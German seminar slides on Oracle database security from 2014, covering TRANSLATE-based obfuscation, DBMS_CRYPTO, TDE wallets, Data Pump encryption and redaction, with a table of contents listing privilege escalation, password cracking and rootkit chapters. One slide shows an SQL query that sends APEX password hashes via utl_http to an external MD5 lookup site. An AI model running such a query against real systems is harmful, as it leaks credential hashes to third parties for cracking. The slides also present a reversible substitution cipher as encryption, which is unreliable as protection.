278
DOAG Berliner Expertenseminar Sicherheit in der Oracle Datenbank 22. / 23. Oktober 2014 © 2014 by MuniQSoft GmbH

Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

  • Upload
    others

  • View
    25

  • Download
    0

Embed Size (px)

Citation preview

Page 1: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

DOAGBerliner Expertenseminar

Sicherheit in der Oracle Datenbank22. / 23. Oktober 2014

© 2014 by MuniQSoft GmbH

Page 2: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Autor: Marco PatzwahlFirma MuniQSoft GmbHGrünwalder Weg 13a82008 Unterhaching

Tel.: 089 / 67 90 90 40Fax: 089 / 67 90 90 50

Internet: www.muniqsoft.deEmail: [email protected]

Wir haben diesen Kursordner mit großer Sorgfalt zusammengestellt. Trotzdem können Fehler nicht komplett ausgeschlossen werden. Herausgeber und Autoren können deshalb für fehlerhafte Angaben und deren Folgen keine Haftung übernehmen.

Dieses Werk (in gedruckter und digitaler Form) ist urheberrechtlich geschützt. Die Vervielfältigung, Entnahme von Grafiken, Tabellen oder Texten oder Vortrag von Teilen dieses Dokuments ist nur mit Zustimmung des Autors zulässig.

Die Wiedergabe von Gebrauchsnamen, Handelsnamen oder Warenzeichen in diesem Werk berechtigt auch ohne besondere Kennzeichnung nicht zur Annahme, dass solche Namen im Sinne des Warenzeichen-, Gebrauchsmuster und Markenschutz-Gesetzgebung als frei zu betrachten wären und daher von jedermann benutzt werden dürften.

Impressum

Security I 0-2

Page 3: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Inhaltsverzeichnis 1

Inhaltsverzeichnis

Inhaltsverzeichnis für ES_Security (c) 1998-2014 by MuniQSoft GmbH

Impressum

Kapitel 1 Verschlüsselung

2. Einleitung

3. Der Translate Befehl

4. Verbesserung der Low-Level Verschlüsselung

5. DBMS_CRYPTO

6. DBMS_CRYPTO Verschlüsselung

7. Verschlüsselung von Spalten

8. Wallet konfigurieren

9. Wallet

10. Spalten verschlüsseln

13. Data Pump Verschlüsselung (EE)

14. Verschlüsselung von Oracle Passwörtern

15. Redaction (Oracle 12c EE+ASO)

16. Redaction Einschränkungen

17. Neue System Rechte für Redaction

18. Weitere Packageaufrufe vom DBMS_REDACT

19. Tipps & Tricks zu den Parametern

22. Beispiele zum Expression Parameter

23. Vordefinierte Shortcuts

24. Beispiele für die Parameter

Page 4: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

25. Redaction Verwaltungsviews

26. DBMS_REDACT Beispiel

28. Probleme mit DBMS_REDACT

29. Security Bug in 12.1.0.1

Kapitel 2 Rechte & Rollen

2. Einleitung

4. Rechte bei Rollen

5. Rechte mit ANY

6. Gefährliche Rechte

9. Privilegien-Eskalation

13. ADMIN OPTION

14. Public Rechte

Inhaltsverzeichnis 1

Page 5: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Inhaltsverzeichnis 2

15. PUBLIC Rechte entziehen

16. Gefährliche Packages

22. Ports sperren/freigeben (ab 11g)

27. Fine Grain Access ab 12c

28. DBMS_NETWORK_ACL_ADMIN ab 12c

29. Beispiel zu APPEND_HOST_ACE (12c)

30. Parameter zu APPEND_HOST_ACE (12c)

31. Beispiel zu REMOVE_HOST_ACE (12c)

32. ACL Views

33. 12c: DBMS_PRIVILEGE_CAPTURE (EE +DV Opt.)

34. Ablauf der Rechteerfassung

35. CREATE_CAPTURE-Prozedur

36. Beispiele

38. App-Überwachung in fremder Session

39. Start / Ende der Erfassung

40. Übersicht der Ausgabe

41. Beispielausgabe

42. Neue Rollen in 12c

43. Neue Rollen in 12c

44. Neue Rechte in 12.1.0.1

45. Neue Rechte in 12.1.0.2

46. Inherit Privileges (Oracle 12c)

47. Inherit Privileges

48. Beispiel zu inherit Privileges

50. Neuerung bei Rechten in 12.1.0.2

Inhaltsverzeichnis

Page 6: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Kapitel 3 Benutzer und Passwörter

2. Benutzerpasswörter

3. Optimierung von Passwörtern

4. Benutzerpasswörter

5. Passwort ändern auf dem Client

6. Abschalten des alten PWD Algorithmus

8. Neue Passwortverschlüsselung in 12.1.0.2

9. Passwort-Hackmethoden

12. Benutzeridentifizierung

14. Benutzer

Inhaltsverzeichnis 2

Page 7: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Inhaltsverzeichnis 3

15. Benutzerpasswörter (APEX)

16. Benutzerpasswörter

23. Administrationsbenutzer

24. Übersicht der Rechte pro Benutzer

25. Passwörter in Skripten

26. Default-Passwörter

27. Schutz durch Profile

31. Schutz durch Passwortfunktion

32. Die Passwortfunktion

34. Passwortfunktion als Spion ?

35. Neue Passwort-Prüf-Funktion in 12c

36. Anmeldung mit verschlüsselten Passwort

39. Neuer / alter Password Hash

41. Abschalten des alten PWD Algorithmus

43. Neue Passwortverschlüsselung in 12.1.0.2

Kapitel 4 Netzwerksicherheit

2. Einleitung

3. Tipps & Tricks

4. Netzwerkverschlüsselung

6. SQLNET.ORA Parameter

7. Integritätsprüfung

8. Einstellung in der SQLNET.ORA

9. Client/Server Einstellkombinationen

10. Funktionstest der Verschlüsselung

Inhaltsverzeichnis

Page 8: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Kapitel 5 Trigger

2. Überwachung mittels Trigger

3. Beispiel für einen Trigger:

4. Logon Trigger

5. System-Trigger

6. Beispiel System-Trigger

7. DDL-Trigger

11. Beispiel DDL-Trigger

12. Weiteres Beispiel

Inhaltsverzeichnis 3

Page 9: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Inhaltsverzeichnis 4

Kapitel 6 Rootkits

2. Definition

3. Rootkit unter Unix

4. Wer greift mich an?

5. Was macht der Angreifer?

6. Wie komme ich in die Oracle Datenbank?

7. Wie komme ich in die Datenbank

11. Ich bin drin ...

12. Namensauflösung bei Objekten

13. Manipulation der Verwaltungsviews

15. Verwaltungsviews (V$...)

18. Abweichungen bei Benutzertabellen

19. Abweichung von Public Synonymen

20. Abweichung bei Privilegien

21. SELECT führt DDL aus

22. Objekte als Oracle eigene ausgeben

23. Lösung

24. DDL Trigger

25. Wie kann man sich schützen?

26. View Definitionen mit Hash-Wert speichern

27. Rootkit Version 2

28. Rootkit Version 2 aufspüren

29. Honeypot

30. Oracle Würmer

31. Vorsichtsmaßnahmen

Inhaltsverzeichnis

Page 10: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Kapitel 7 Forensik

2. Was ist Forensik?

3. Tools für die Forensik

4. Interessante Trace Files

5. Trace Views/Tables

6. Vorgehensweise

7. Befehle zur Überwachung

9. SYS.USER$

10. Alte Passwörter

11. SYS.WRH$_ACTIVE_SESSION_HISTORY

Inhaltsverzeichnis 4

Page 11: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Inhaltsverzeichnis 5

12. Welche Programme haben sich angemeldet?

13. Änderungen an wichtigen Tabellen

14. Weitere interessante Tabellen

15. Listener.log in External Table

16. Auswertungen der listener.log

17. Blöcke auslesen

18. Die SCN als Dokumentation des Zeitpunkts

19. Checkpoint Nummer wandeln

20. SCN Nummern in Blöcken

21. Interessante Auswertungen bzgl der SCN

22. Flashback Row History

23. Inhaltliche Änderungen feststellen

Kapitel 8 Unified Auditing

2. Audit bis Version 11.2

3. Rückwärtskompatibilität

4. Empfehlungen

5. Unified Auditing

6. Unified Auditing alleinig aktivieren

7. Unified Auditing Speichermethoden

9. Wo wird das Audit gespeichert?

10. Unified Auditing: Rechte

11. Unified Autiting Syntax

12. Unified Auditing Syntax

13. Unified Auditing: WHEN Klausel

Inhaltsverzeichnis

Page 12: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

14. Beispiele zur WHEN Klausel

15. Audit aktivieren

16. Audit deaktivieren

17. Unified Auditing Beispiele

19. Unified Auditing Beispiele für Privilegien

20. Interessante Privilegien zum Audit

21. Unified Autiting Beispiele für Packages

22. Lohnenswerte Packages für die Überwachung

23. Beispiel: Packageüberwachung

24. Audit auf Objekte

25. Unified Autiting Bsp für Rollenbenutzung

Inhaltsverzeichnis 5

Page 13: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Inhaltsverzeichnis 6

26. Unified Autiting Beispiele

27. SQL*Loader mittels AUDIT überwachen

28. Vordefinierte Policies

29. Audits abändern

30. Beispiele zu Audits abändern

31. Audit auswerten

32. Unified Audit Tabellenspalten (Auswahl)

33. AUDIT_TYPE

34. Audit löschen

35. Audit Einträge zeitgesteuert löschen

36. Audit Einträge manuell löschen

37. Audit Einträge löschen in Read Only DB

38. Mandatory Auditing

39. Audit Views

Kapitel 9 Security

2. Neue Benutzer

3. Neue Parameter für Passwort-Datei

4. System Benutzer in der Passwortdatei

5. Übersicht der Rechte pro Benutzer

6. SYSDBA Ersatz

7. Anmeldung als SYSBACKUP

8. Erweitertes CREATE USER Kommando

9. Benutzer anlegen in CDB

10. Fehlerhafter Login / Login Zeit

Inhaltsverzeichnis

Page 14: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

11. Oracle Maintained Rollen/Benutzer

Kapitel 10 Checkliste

2. Einleitung

3. Passwörter ändern/Benutzer sperren

4. Rechteüberprüfung/Netzwerk

5. INIT.ORA Parameter Prüfung

6. Prüfung auf neusten Patch

7. Prüfung auf neuen PWD Algorithmus

8. Welche Policies sind im Einsatz

9. Welche Directories sind angelegt

Inhaltsverzeichnis 6

Page 15: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Inhaltsverzeichnis 7

10. Welche DB Links existieren ?

11. Welche Objekte sind verschlüsselt?

12. Wird die Passwort Prüffunktion verwendet ?

13. Prüffunktionen

14. Welche Objekte wurden kürzlich neu erzeugt?

15. 16 Jahre MuniQSoft GmbH

Inhaltsverzeichnis

Page 16: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Kapitel 1Verschlüsselung

Security I 1 - 1

Page 17: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Einleitung

Verschlüsselung dient dem Verbergen von Information en (z. B. Gehaltsdaten)

Jedoch kann der Einsatz der Verschlüsselung erst da s Interesse der Hacker wecken

Besser wäre das „Verstecken" der Daten (=> SAP ist hier Spezialist mit 70.000 Tabellen ☺☺☺☺ )

MuniQSoft GmbH Kapitel 1 - Verschlüsselung Security I 1 - 2

Verschlüsselte Daten stellen eine zusätzliche Hürde da, die von einem Hacker erst mal überwunden werden muss. Auch ist ein „zufälliges“ Lesen der Gehaltsdaten aus der gesamten Vorstandsetage eher unwahrscheinlich. Durch die Verschlüsselung werden die Daten auch in den Oracle Blöcken und damit auch in den Tablespace-Dateien verschlüsselt eingetragen. Auch ein Export wird die Daten verschlüsselt aus der Datenbank holen und sicher in der Exportdatei lagern.

Jedoch ist es illusorisch zu glauben, ein 128 oder 192 Bit Schlüssel sei nicht zu knacken. Es ist nur eine Frage der Zeit bzw. Rechnerleistung, die jedoch derzeit noch nicht in ausreichendem Maße zur Verfügung steht.

Stichwörter: Daten verstecken/verschlüsseln

Security I 1 - 2

Page 18: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Der Translate Befehl

Dient der Low-Level-Verschlüsselung

Syntax:TRANSLATE(<wert>,'<buchstabenliste>','<verschlüsselungsliste>')

Beispiel:SELECT TRANSLATE(ename,'ABCDEFGHIJKLMNOPQRSTUVWXYZ012345abcdefghijklmnopqrstuvwxyz6789','fghijklmnopqrstuvwxyz6789ABCDEFGHIJKLMNOPQRSTUVWXYZ012345abcde') FROM scott.emp;

Zum Entschlüsseln müssen nur die Schlüssel vertausc ht werden

MuniQSoft GmbH Kapitel 1 - Verschlüsselung Security I 1 - 3

Der TRANSLATE Befehl dient der Low-Level-Verschlüsselung von Daten innerhalb von Tabellen oder Views.

Syntax:TRANSLATE(<wert>,'<buchstabenliste>','<verschlüsselungsliste>')Beispiel:SELECT TRANSLATE (ename, 'ABCDEFGHIJKLMNOPQRSTUVWXYZ012345abcdefghijklmnopqrstuvwxyz6789','fghijklmnopqrstuvwxyz6789ABCDEFGHIJKLMNOPQRSTUVWXYZ012345abcde') FROM scott.emp;Zum Entschlüsseln müssen nur die Schlüssel vertauscht werdenDie Verschlüsselung kann bereits beim Insert in eine Tabelle verwendet werdenBeispiel:INSERT INTO emp (empno,ename,sal,deptno)VALUES(8000, TRANSLATE ('WESSON', 'ABCDEFGHIJKLMNOPQRSTUVWXYZ012345abcdefghijklmnopqrstuvwxyz6789','fghijklmnopqrstuvwxyz6789ABCDEFGHIJKLMNOPQRSTUVWXYZ012345abcde'),1000,10);Sollten die Daten bereits in der Tabelle stehen, wird statt dessen ein Update verwendet:UPDATE emp set ename= TRANSLATE (ename, 'ABCDEFGHIJKLMNOPQRSTUVWXYZ012345abcdefghijklmnopqrstuvwxyz6789','fghijklmnopqrstuvwxyz6789ABCDEFGHIJKLMNOPQRSTUVWXYZ012345abcde');

Stichwörter: TRANSLATE , Low-Level Verschlüsselung

Security I 1 - 3

Page 19: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Verbesserung der Low-Level Verschlüsselung

Drehen Sie das Wort vor dem Verschlüsseln um

Marco =>Ocram

Geheim =>Mieheg

Teilen Sie das Wort in zwei Hälften und vertauschen Sie diese

Marco => Mar co => Comar

Geheim => Geh eim =>Eimgeh

Danach wird wieder der Translate-Befehl benutzt

MuniQSoft GmbH Kapitel 1 - Verschlüsselung Security I 1 - 4

Beispiel zum Vertauschen der beiden Hälften:

SELECT SUBSTR(ename,FLOOR(LENGTH(ename)/2)+1),SUBSTR(ename,1,FLOOR(LENGTH(ename)/2))FROM scott.emp;

Stichwörter: Low-Level Verschlüsselung, Verbesserung

Security I 1 - 4

Page 20: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

DBMS_CRYPTO

Ersetzt/ergänzt das bisherige Package dbms_obfuscat ion

Strings müssen nicht mehr ein Vielfaches von 8 Byte sein, jedoch müssen sie zuerst in RAW konvertiert werden

Verfügt über eine größere Anzahl an Verschlüsselungsroutinen z.B.:

dbms_crypto.des_cbc_pkcs5 (Schlüssellänge 8 Byte), dbms_crypto.des3_cbc_pkcs5 (24 Byte)

dbms_crypto.encrypt_rc4

dbms_crypto.encrypt_aes128

MuniQSoft GmbH Kapitel 1 - Verschlüsselung Security I 1 - 5

Vollständige Liste der Algorithmen:

ENCRYPT_DES (Keylänge 56 Bit).ENCRYPT_3DES_2KEY (Effektive Keylänge 112 Bit).ENCRYPT_3DESENCRYPT_AES128 (verwendet 128 Bit Key-Länge)ENCRYPT_AES192 (verwendet 192 Bit Key-Länge)ENCRYPT_AES256 (verwendet 256 Bit Key-Länge)ENCRYPT_RC4

Stichwörter: DBMS_CRYPTO

Security I 1 - 5

Page 21: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

DBMS_CRYPTO Verschlüsselung

Verschlüsselung:

p_encrypted_raw := dbms_crypto.encrypt(src => p_text_raw, typ => p_crypto_typ,key => p_key);

Entschlüsselung

p_decrypted_raw := dbms_crypto.decrypt(src => p_encrypted_raw, typ => p_crypto_typ,key => p_key);

MuniQSoft GmbH Kapitel 1 - Verschlüsselung Security I 1 - 6

Stichwörter: DBMS_CRYPTO, Verschlüsselung

Security I 1 - 6

Page 22: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Verschlüsselung von Spalten

Ab Version 10.2 können die Spaltenwerte direkt verschlüsselt werden

Sollte dann der Server bzw. der Export-Dump gestohl en werden, ist er ohne das Master-Passwort wertlos

Zuerst muss ein Wallet mit Passwort erzeugt werden

MuniQSoft GmbH Kapitel 1 - Verschlüsselung Security I 1 - 7

Stichwörter: Verschlüsselung von Spalten

Security I 1 - 7

Page 23: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Wallet konfigurieren

Tragen Sie in die Datei SQLNET.ORA einen gültigen Wallet-Pfad ein

WALLET_LOCATION = (SOURCE = (METHOD = FILE) (METHOD_DATA =

(DIRECTORY = c:\oracle\admin\orcl\wallet)

) )

MuniQSoft GmbH Kapitel 1 - Verschlüsselung Security I 1 - 8

Stichwörter: Wallet konfigurieren

Security I 1 - 8

Page 24: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Wallet

Wallet erzeugen

ALTER SYSTEM SET ENCRYPTION KEY ["certificate_id" ] IDENTIFIED BY "pwd" ;

Wallet öffnen

ALTER SYSTEM SET ENCRYPTION WALLET OPEN IDENTIFIED BY "password";

Wallet schließen bis 11.2

ALTER SYSTEM SET ENCRYPTION WALLET CLOSE;

Wallet schließen ab 11.2

ALTER SYSTEM SET ENCRYPTION WALLET CLOSEIDENTIFIED BY "password";

MuniQSoft GmbH Kapitel 1 - Verschlüsselung Security I 1 - 9

Hinweis:• Bei unseren Tests konnten wir unter Win XP Oracle 10.2.0.3 das Wallet nicht

ins Network Admin Verzeichnis legen.• Es war nur möglich unter <Oracle BASE>/<sid> einen Ordner wallet

anzulegen. Dort wurde dann die Datei erzeugt.

Stichwörter: Wallet erzeugen/öffnen/schließen

Security I 1 - 9

Page 25: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Spalten verschlüsseln

CREATE TABLE scott.kunden ( acc_no NUMBER NOT NULL, last_name VARCHAR2(30) not null, SSN varchar2(9) ENCRYPT USING 'AES128',card_id number ENCRYPT USING 'AES128' );

Nachträglich einschalten:

ALTER TABLE kunden MODIFY (card_id ENCRYPT);

Nachträglich ausschalten:

ALTER TABLE kunden MODIFY (card_id DECRYPT);

MuniQSoft GmbH Kapitel 1 - Verschlüsselung Security I 1 - 10

Erlaubte Encryption-Methoden:

• 3DES168 • AES128 • AES192 • AES256

Die Option SALT ist default !

Stichwörter: Spalten verschlüsseln, ENCRYPT USING

Security I 1 - 10

Page 26: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Spalten verschlüsseln

Ein Zugriff auf die verschlüsselten Spalten ist nur bei geöffnetem Wallet möglich!

SQL> ALTER SYSTEM SET ENCRYPTION WALLET OPEN IDENTIFIED BY muniqsoft;

SQL> insert into kunden values (1,'Test','ABCDEFG', 1000);

SQL> select * from kunden;

ACC_NO LAST_NAME SSN CARD_ID---------- ------------------ --------- --------

1 Test ABCDEFG 1000

SQL> ALTER SYSTEM SET ENCRYPTION WALLET CLOSE;

SQL> select * from kunden;

select * from kunden

*

FEHLER in Zeile 1: ORA-28365: Wallet ist nicht geöf fnet

MuniQSoft GmbH Kapitel 1 - Verschlüsselung Security I 1 - 11

Stichwörter: Spalten verschlüsseln, ALTER SYSTEM SETENCRYPTION WALLETOPEN IDENTIFIED BY

Security I 1 - 11

Page 27: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Spalten verschlüsseln

Informationen zu verschlüsselten Spalten liegen unt er

USER_/ALL_/DBA_ENCRYPTED_COLUMNS OWNER TABLE_NAME COLUMN_NAME ENCRYPTION_ALG SALT

----------------- ----------- ---------------- ---

SYSTEM KUNDEN SSN AES 128 bits key YES

SYSTEM KUNDEN CARD_ID AES 128 bits key YES

Leider kann auch dort ein Hacker nachlesen, welche Spalten interessant sind, und welcher Algorithmus verwendet wird

MuniQSoft GmbH Kapitel 1 - Verschlüsselung Security I 1 - 12

Stichwörter: Spalten verschlüsseln, Informationen

Security I 1 - 12

Page 28: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Data Pump Verschlüsselung (EE)

Wenn Daten des verschlüsselten Tablespace exportier t werden sollen, muss daran gedacht werden beim Expor t einen Parameter zu verwenden!

expdp scott/tiger tables= geheim_tab dumpfile= sec.dmp directory= data_pump_dir encryption= data_only encryption_algorithm= aes128encryption_password= geheim enycryption_mode=[dual|password|transparent]

MuniQSoft GmbH Kapitel 1 - Verschlüsselung Security I 1 - 13

Stichwörter: Verschlüsselung; Datapump, Datapump; V erschlüsselung

Parameter Beispiel Beschreibung

encryption ALL ALL = Metadaten + NutzdatenDATA_ONLY= NutzdatenENCRYPTED_COLUMNS_ONLY= Nur verschlüsselte SpaltenMETADATA_ONLY= Nur MetadatenNONE= Keine Verschlüsselung

encryption_algorithm AES256 Folgende Algorithmen stehen zur Verfügung: AES128 | AES192 | AES256

encryption_password supergeheim Passwort für Export und Import ! Wird beim Export nur verwendet, wenn Parameter encryption_mode = DUAL oder PASSWORD gesetzt wurde

encryption_mode TRANSPARENT TRANSPARENT= Wallet Passwort entscheidendPASSWORD= Passwort des Parameters encryption_password entscheidetDUAL= Wallet und Passwort des Parameters encryption_password wichtig

Security I 1 - 13

Page 29: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Verschlüsselung von Oracle Passwörtern

Oracle verwendet je nach Modul/User/Version verschiedene Algorithmen:

Benutzerpasswörter:

Version 5.x bis 10.2: DES von Upper(password)

Version 11.1: SHA-1 von password

APEX 1.6-3.0: MD5

http://md5.rednoize.com/

SELECT utl_http.request('http://md5.rednoize.com/?q='||web_password_raw ||'&b=MD5-Search') from flows_030000.wwv_flow_fnd_user;

MuniQSoft GmbH Kapitel 1 - Verschlüsselung Security I 1 - 14

Stichwörter: Verschlüsselung, Oracle Passwörter

Security I 1 - 14

Page 30: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Redaction (Oracle 12c EE+ASO)

Redaction wird zum Verschleiern von sensiblen Daten verwendet (z.B. Kreditkartenspalten)

Alle Besitzer der DBA-Rolle haben automatisch das Recht EXEMPT REDACTION POLICY und können damit jede existierende Redaction Regel umgehen und die Daten im Original sehen.

Data Redaction Policies dürfen nicht auf SYS Objekt e definiert werden.

Für die Verwendung von Redaction ist die Enterprise Edition mit der Advanced Security Option notwendig.

Hinweis: Diese Funktion wurde in 11.2.0.4 zurückpor tiert

MuniQSoft GmbH Kapitel 1 - Verschlüsselung Security I 1 - 15

Stichwörter: Redaction

Security I 1 - 15

Page 31: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Redaction Einschränkungen

Nur eine Redaction Policy pro Tabelle

Primrärschlüsselspalten dürfen keine Redaction besi tzen

Keine CREATE TABLE AS SELECT auf Tabellen mit Redact Spalten

CREATE TABLE t As SELECT * FROM redact_table;

Export Datapump auf Redact Spalten derzeit auch nic ht unterstützt (Stand 12.1.0.1 März 2014)

MuniQSoft GmbH Kapitel 1 - Verschlüsselung Security I 1 - 16

Security I 1 - 16

Page 32: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Neue System Rechte für Redaction

Redaction Regeln umgehen:

GRANT EXEMPT REDACTION POLICY TO <user>;

Redaction Regeln für DML umgehen:

GRANT EXEMPT DML REDACTION POLICY TO <user>;

Redaction Regeln für DDL umgehen:

GRANT EXEMPT DDL REDACTION POLICY TO <user>;

Sinnvoll bei einem CREATE TABLE AS SELECT

MuniQSoft GmbH Kapitel 1 - Verschlüsselung Security I 1 - 17

Security I 1 - 17

Page 33: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Weitere Packageaufrufe vom DBMS_REDACT

Policy abschalten

DBMS_REDACT.DISABLE_POLICY (object_schema IN VARCHAR2 := NULL,object_name IN VARCHAR2,policy_name IN VARCHAR2);

Policy löschen

DBMS_REDACT.DROP_POLICY (object_schema IN VARCHAR2 := NULL,object_name IN VARCHAR2,policy_name IN VARCHAR2);

Policy einschalten

DBMS_REDACT.ENABLE_POLICY (object_schema IN VARCHAR2 := NULL,object_name IN VARCHAR2,policy_name IN VARCHAR2);

MuniQSoft GmbH Kapitel 1 - Verschlüsselung Security I 1 - 18

Weitere Aufrufe:DBMS_REDACT.ADD_POLICY (

object_schema IN VARCHAR2,object_name IN VARCHAR2,policy_name IN VARCHAR2,column_name IN VARCHAR2 := NULL ,function_type IN BINARY_INTEGER : = DBMS_REDACT.FULL,function_parameters IN VARCHAR2 := NULL ,expression IN VARCHAR2,enable IN BOOLEAN := TRUE,regexp_pattern IN VARCHAR2 := NULL ,regexp_replace_string IN VARCHAR2 := NULL ,regexp_position IN BINARY_INTEGER : = 1,regexp_occurrence IN BINARY_INTEGER : = 0,regexp_match_parameter IN VARCHAR2 := NULL ,policy_description IN VARCHAR2 := NULL ,column_description IN VARCHAR2 := NULL );

DBMS_REDACT.ALTER_POLICY (object_schema IN VARCHAR2 := NULL ,object_name IN VARCHAR2,policy_name IN VARCHAR2,action IN BINARY_INTEGER : =

DBMS_REDACT.ADD_COLUMN,column_name IN VARCHAR2 := NULL ,function_type IN BINARY_INTEGER : = DBMS_REDACT.FULL,function_parameters IN VARCHAR2 := NULL ,expression IN VARCHAR2,regexp_pattern IN VARCHAR2 := NULL ,regexp_replace_string IN VARCHAR2 := NULL ,regexp_position IN BINARY_INTEGER : = 1,regexp_occurrence IN BINARY_INTEGER : = 0,regexp_match_parameter IN VARCHAR2 := NULL ,policy_description IN VARCHAR2 := NULL ,column_description IN VARCHAR2 := NULL );

Stichwörter: DBMS_REDACT

Security I 1 - 18

